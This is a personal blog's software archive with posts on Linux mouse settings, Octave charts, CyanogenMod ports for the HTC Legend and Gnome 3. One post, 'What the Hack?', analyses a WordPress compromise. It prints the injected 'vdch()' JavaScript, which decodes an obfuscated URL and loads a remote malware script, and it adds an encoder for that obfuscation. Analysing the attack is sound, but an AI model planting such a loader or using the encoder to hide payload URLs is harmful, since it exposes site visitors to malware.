Category Archives: Software

Anything remotely related to bits and bytes. Mostly OpenSource stuff.

Logitech Performance MX in Linux

I’ll keep it short: After being inspired by this blog post I decided it was about time the “Performance MX” got support for setting its DPI value in Linux.

After some USB sniffing and poking at a few registers I was successful. Compile the following code with
“gcc -o performance_mx_dpi performance_mx_dpi.c -lusb-1.0 –std=c99”.
Continue reading Logitech Performance MX in Linux

Octave and LaTeX – Love at first Sight

While working on a concept and draft for my bachelor thesis I decided I wanted charts. Bar charts, line charts, multiple line charts, you get the point.

Now, if you tried to include images in a LaTeX document you probably know already that resolution matters. A lot. You want your printed document to look nice and professional so you can be proud of it, but its charts are all blurry and pixelated. Even worse, you rendered your charts with a random tool of your choice and they look great but the fonts don’t match the target document’s, they don’t scale (because they are part of the image).

Well, at least those were my problems. Then I discovered output modes of Octave. In tex output mode it generates two files: an encapsulated postscript (.eps) and a LaTeX document. Just include (\import or whatever you want to use) the latter in your main document and marvel at the astonishing results!

Here’s my Octave function generating three graphs in one plot. You can call it like that: Continue reading Octave and LaTeX – Love at first Sight

Will the Legend run Android 4.0? Maybe.

My Android building machine features an

  • Intel Core i7 870 @ 2.93GHz with
  • 8GB of RAM building to a
  • 1TB hard disk (RAID 1 array) running
  • Debian Unstable/Experimental.

I tried to compile 4.0 Ice Cream Sandwich from CM sources (but still rather vanilla) on my machine today.

Except for lib32ncurses5-dev that was missing here – don’t ask me why, maybe “apt-get autoremove” is to blame – and a quite unnecessary Java compiler check (OpenJDK is perfectly capable of building Android) I did not run into any problems at all.

I can’t tell you what this “You’ll need at least 128GB of RAM and a quadruple i7 Extreme setup” was all about but I can definitely say that my machine never used the swapfile during the whole process. It did not even hit 6GB RAM. Maybe because I’m not using ccache?

The resulting file’s size is about 100 MB zipped, extracted about 140MB (only files going to /system). The system partition on my Legend (stock partition layout) is 240MB, so ICS should fit without problems, even after CM treatment.

$ time make -j8 otapackage
real   36m6.559s
user   196m32.677s
sys    10m19.084s

Also posted the above on G+.

Binding Action

So you’ve got one of those fancy mice with lots of extra (read “spare”) buttons and no configuration interface at all?

Yes, that’s admittedly something the Linux desktop has been lacking for a long time. The drivers are capable of almost everything, but it seems no one ever bothered to add a sophisticated configuration utility for macros or extra buttons – I mean beyond what e.g. Compiz offers. Gamers (if there are any at all) should even more want something like that.

On my Logitech mouse there’s a thumb button to which I’d really like to bind the overlay mode in Gnome Shell. If you know xbindkeys the solution’s quite obvious, just make it listen to that button in .xbindkeysrc:

"/usr/local/bin/show-gnome-shell-overlay"
  m:0x0 + b:10 + release

My first guess was to scan D-Bus for anything related to “org.gnome.Shell” because nowadays almost everything seems to use D-Bus for IPC. Nevertheless, I have to admit I was quite surprised seeing the overlay after calling that D-Bus method though. ;)

Here’s that script referenced above:

#/bin/sh

dbus-send --session --type=method_call \
    --dest=org.gnome.Shell /org/gnome/Shell \
    org.freedesktop.DBus.Properties.Set \
        string:org.gnome.Shell \
        string:OverviewActive \
        variant:boolean:true

What the Hack?

I got an email today asking me for support. One of my WordPress setups had been reported to be hacked – resulting in a JavaScript redirect to a site distributing malware.

Searching for the hack itself or the redirect I couldn’t find anything useful (except for an entry in the Google support forum).

Every JavaScript file in wp-content/plugins and wp-content/themes was infected with a function added to the bottom of the script: “function vdch()”. Make sure your blogs are clean.

Update: As I just read in this forum, on stackoverflow and on wordpress, they seem to compromise php and html files too. I guess in my case they couldn’t by exploiting the WordPress vulnerability because its built-in editor only allows you to edit plugins and themes.

This is the script they’ve been using on the setup I had to clean up. It fails in Firefox but seems to run fine in Chrome.

function vdch() {
    if(document.all.length > 3) {
        var t = new Array(...);
        var dchid = "";
        for (j=0;j<t.length;j++) {
            var c_rgb = t[j];
            for (i=1;i<7;i++) {
                var c_clr = c_rgb.substr(i++,2);
                if (c_clr!="00") dchid += String.fromCharCode(
                        parseInt(c_clr,16)^i);
            }
        }
        var dch = document.createElement("script");
        dch.id = "dchid";
        dch.src = dchid;
        document.all[3].appendChild(dch);
    } else {
        setTimeout("vdch()",500);
    }
} setTimeout("vdch()",500);

Update 2: I was curious about how the string (=URL) encryption works in the script above. Here’s the function I came up with. Pretty nice idea (never had a look at JavaScript obfuscation before).

var url = "http://your.url/";
var enc = new Array();
var rgb = "#";

for (i = 0, j = 2; i < url.length; i++, j += 2) {
    rgb += (url.charCodeAt(i)^j).toString(16);
    if (j == 6) {
        j = 0;
        enc.push(rgb);
        rgb = "#";
    }
}

Yes, you can haz Gingerbread!

It’s done. Most users already knew about Gingerbread on their CM-supported devices so that’s not real news.

A kick in the nuts of every manufacturer that keeps its sources closed, releases of Android customized heavily and mouths shut about future updates. Even though so much has to be reverse engineered the CyanogenMod team was ultimately faster in bringing Gingerbread to our loved devices.

In your face, «insert manufacturer here»!

Gnome 3 – Like and Hate

It has been discussed controversially before its release and it certainly will be for the next few weeks. To be honest I wouldn’t expect anything else if a very important desktop environment decides to make the radical changes Gnome made for their 3.0 release.

Nevertheless, after a few days of using and liking the Gnome Shell and Gnome 3 there’s still a quite a lot I dislike:

Gnome Shell eats my Windows-key. Yeah, using Super_L is a good idea and finally gives that modifier some meaning. I actually used Super for a lot of stuff like

  • Super+V: display Parcellite’s menu (Ctrl+C history). Quite obvious to use something close to Ctrl+V, right?
  • Super+Arrows: switch workspaces, because I never liked Ctrl+Alt+…
  • Super+Z (or Y on German keyboards): display Guake terminal

As I said: Gnome eats Super_L which means that every shortcut using that key doesn’t work any more. Bad bug, really bad bug. Well, I admit that’s a small problem, a bug report, and not really influencing productivity here – I just disabled Super_L for now.

The much more annoying “innovation” is the complete lack of applets. I never cluttered panels with lots of stuff – I use only one panel at the top – but there are three applets I can’t live without:
CPU monitor, weather and, most important, my time tracking Hamster.

I frequently caught myself looking at the temperature to only read my username – seriously, who needs to read his own name in the top panel? Alzheimers? – or the Activities button where the hamster applet and CPU monitor used to be.
They are gone (forever?) and I’ll miss them very much. I’m a sad panda.

Can I haz Gingerbread, NAO?

Excuse my infantile behaviour but this is simply nothing short of exciting and totally insane.

About a week ago I wasn’t even able to compile the Gingerbread branch of Android and today I’m using it on my Legend with only minor glitches. OK, they are not really minor but they don’t affect me that much.

There are still a few problems that definitely scream “FIXMEFIXMEFIXME”, like the .32 kernel HTC released a few weeks ago (which is a complete mess in every single way), but you can rest assured the gods in #teamdouche (cyanogen, arcee, zinx, …) will fix these problems eventually.

Yeah, this is so exciting.

Release candidates, anyone?

Yes, you might already know: the CyanogenMod project is nearing release 6.1.

Looking at the changelog from 6.0 to 6.1 one has to say that teamdouche did an outstanding job. Officially supporting the Legend is only a very small part of it.

I’m actually quite proud that everything is working perfectly by now, no bugs or annoyances. CM nightly builds (from my own machine – that’s openness!) have been the main and only operating system on my Legend for three months now.

If I can get my hands on the Aria/Gratia 2.2 update and test the camera libraries then 6.1 will most likely ship with those (provided they work correctly) and I’ll try to port the kernel as well (once HTC releases it, which normally takes some time).

Exciting days to come…

Old News

For some of you this might be rather old news but just to make sure it’s recorded in the eternal books of Google: I’ve become the official maintainer for the HTC Legend in the CyanogenMod project.

This basically means official support and official nightly builds. It also means that I have to get all my changes into CM or adapt them accordingly. This I’ve been doing for the last couple of days and only the correct support for non-rgb notification lights is missing (a rather big change).

It’s also nice that the new CMStats app seems to be enabled by some Legend users already. This will render my statistics in the android section of this site quite useless at some point.

Dark is the Night

Now that Azure 1.0 has arrived people would certainly complain a lot if I released quite experimental builds based off the latest development in CyanogenMod. Even I wrote “experimental” a thousand times.

The consequence: a separate ROM. I’m pretty sure some will still not get the meaning of “nightly”, but I really can’t do anything about that.

Dark Azure (development thread here) will be the snapshot and development build with new features going there first.

All Blue

Finally done!

After some weeks of heavy development and testing I released Azure 1.0, codename for my port of the famous CyanogenMod 6.0.0 for the HTC Legend.

Bringing you Froyo faster than HTC with nearly all the features you might expect (except for FM radio of course) feels really amazing.

Baking Cakes

I’ve been doing web-development for quite a long time now. But honestly it was never nearly half as much fun as when I discovered CakePHP a year ago.

It took me not even six hours to write the Android ROMs section, a task I would have spend at least a week on before I knew CakePHP.

By the way, the fancy graph is done using the JavaScript InfoVis Toolkit (another great tool for web-developers).

Curing a Legend

Google’s Android platform is mostly great, but it does have a serious problem:

Manufacturers can’t keep their fingers off the interface.

This produces systems that do not even look like Android (and, as with Sony’s, annoy everyone), sometimes even worse than that.

Apart from awful Android skinning there is a new trend and light in the darkness for us purists: Android vanillaizing!

It’s software dermatologists devoting their precious nights and sleep to finding the cure to Android acne. In the case of the HTC Legend (comes with Sense) I was able to compile and tweak the Android Open Source project. Later I decided to start porting (and patching, where necessary) the famous CyanogenMod, which I’m using on my phone right now.

Beans, anyone?

Find first beta versions of my port called “Indigo Bean” and updates and bug reports on xda-developers.

Since we’ve got support by koush’ outstanding ROM-Manager the recommended method to install it (after rooting your phone) is getting this app via the Android market and downloading “Indigo Bean”. Just a few clicks (taps!) and you are set to enjoy.

Android, Signing and Proprietary Apps

Android phones are delivered with proprietary apps that greatly improve the user’s experience. Some might even say an Android device without Google apps is only half the fun.

For being accepted as valid packages, apps are signed. Moreover if an app wants special-1337-system privileges, it has to be signed with the platform key. This is to make sure apps behave correctly.

So if you come across a message that tells you the system just ignored a package (“Package xyz has no signatures that match those in shared user android.uid.system; ignoring!”), just resign it with your platform key. If you don’t have the platform key: Bad luck.

This is rather a note to myself (the sky just fell on my head):
Google apps that always need resigning are GoogleCheckin, GoogleSubscribedFeedsProvider and NetworkLocation.
Don’t ever dare to sign any other proprietary app, Google doesn’t like that and your Android system won’t allow you to use it.